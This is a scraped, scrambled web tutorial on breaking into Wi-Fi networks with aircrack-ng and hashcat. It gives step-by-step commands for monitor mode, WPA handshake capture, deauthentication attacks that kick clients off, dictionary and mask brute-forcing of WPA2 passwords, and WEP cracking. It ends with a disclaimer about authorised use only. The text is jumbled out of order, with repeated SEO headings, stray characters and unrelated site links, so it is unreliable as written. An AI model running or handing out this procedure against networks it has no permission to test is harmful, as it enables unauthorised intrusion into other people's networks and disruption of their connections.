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1. #How to use aircrack with wpa install#
2. #How to use aircrack with wpa password#
3. #How to use aircrack with wpa mac#

The only known practical way to crack a WPA2 encrypted network is through a wordlist/dictionary attack.īefore starting you may want to change your MAC Address. WPA/WPA2 encryption took care of all these flaws, still, there are ways to get into a network secured by WPA2. The WEP connections or WPS-enabled networks were easier to hack into because of the flaws in their design. Setting Up a Centralized Log Server with GrayLog on Ubuntu 20.Almost all modern-day wifi routers use WPA2 encryption.Setting Up a Private CDN with Varnish HTTP Cache on Ubuntu.Installing CMS Made Simple on Ubuntu 20.04.

#How to use aircrack with wpa install#

Sudo apt install gcc make build-essential linux-headers-$(uname -r) -yĮven reducing from 1809 to 10 years it stills not practicable even with a high-performance GPU to crack such a long password. Tar zxvf NVIDIA-Quadro-RTX6000-Linux_Driver-418.43.tar.gz Linode Plan: Dedicated 32GB + RTX6000 GPU x1.

#How to use aircrack with wpa password#

Using Linode GPU computing to crack the password hash: Find a high-performance GPU, and face the challenge 🙂 hashcat -m 2500 -a3 handshake.hccapx ?H?H?H?H?H?H?H?H?H?H?H?Hĭon’t be disappointed if you find the estimated time o finish around 1800 years. The wordlist above is just a dictionary and contains a very limited number of possibilities, consider using Rock You or creating the list yourself based on the information you have: SSID (can indicate the internet provider) and MAC (informs who manufactured the hardware) to guess the password pattern.įor example, for Bell Canada, the modem Home Hub 3000 uses a password 12 characters long and each digit contains an upper-case hex (1-F). aircrack-ng output_file.pcap -w /usr/share/dict/words Now use a wordlist to see if any of the words match with the password. If you open the output_file.pcap file with the Wireshark, filter by “ eapol“, which stands for Extensible Authentication Protocol (EAP) over LAN, to see the 4-way handshake. On the airodump terminal, you may see at the top “ WAP handshake: FF:FF:FF:FF:FF:FF“, which means the handshake was captured and the process can be stopped. The first argument 0 is the rate of the packets to be sent, -a is the access point, and -c is the client. sudo aireplay-ng -deauth 0 -a FF:FF:FF:FF:FF:FF -c EE:EE:EE:EE:EE:EE wlan0mon

Then in another terminal try to disconnect one of the clients. Note that -c1 means channel 1 and FF:FF:FF:FF:FF:FF represents the MAC address of the desired router. sudo airodump-ng -c1 -w output_file -d FF:FF:FF:FF:FF:FF wlan0mon The tool will do a channel hopping and will find out all the reachable routers and the devices connected to them. The hash cracking part is more critical because it can use a public passwords list, or another passwords list you created using tools like CUPP in combination or not with Mentalist.Ĭhanging the wireless adapter to monitor mode, check the mode changed, and start grabbing packages: sudo airmon-ng start wlan0 To capture the handshake a device has to connect to the network, and this can be a long waiting process or maybe kick one device off and wait for it re-connect. The basics about cracking a WIFI that uses WPA/WPA2 are capturing the 4-way handshake and use the acquired data into hashcat to recreate the password using brute force. Once you know the channel and the BSSID (MAC of the router) you run the following commands in two different terminals: airodump-ng wlan0 -c 1 -b FF:FF:FF:FF:FF:FFĪirodump will be capturing packets in one terminal while aircrack will be re-checking the file every 5000 packets until it gets enough information to crack the password.

wep.pcapĪnother way may take a bit longer because the is no packet injection to speed up the process, but works fine too. It is going to give you the hex version of the password, so use it to get the ASCII version of it: aircrack-ng. First, it does injection and then later it does flood. The preview command keeps capturing IV packages, which are the type of packages used to crack WEP. Replace the channel number ( 1 in the example) and the MAC address ( FF:FF:FF:FF:FF:FF in the example) with the data from airodump: basside-ng wlan0 -c 1 -b FF:FF:FF:FF:FF:FF Hacking WIFI with WEP encryption is very simple.įirst, listen for any WIFI running WEP nearby: airodump-ng wlan0 -encrypt wep This whole blog and including this post is just for educational purposes and do not do anything to a WIFI network that does not belong to you or that you have written permission to do so.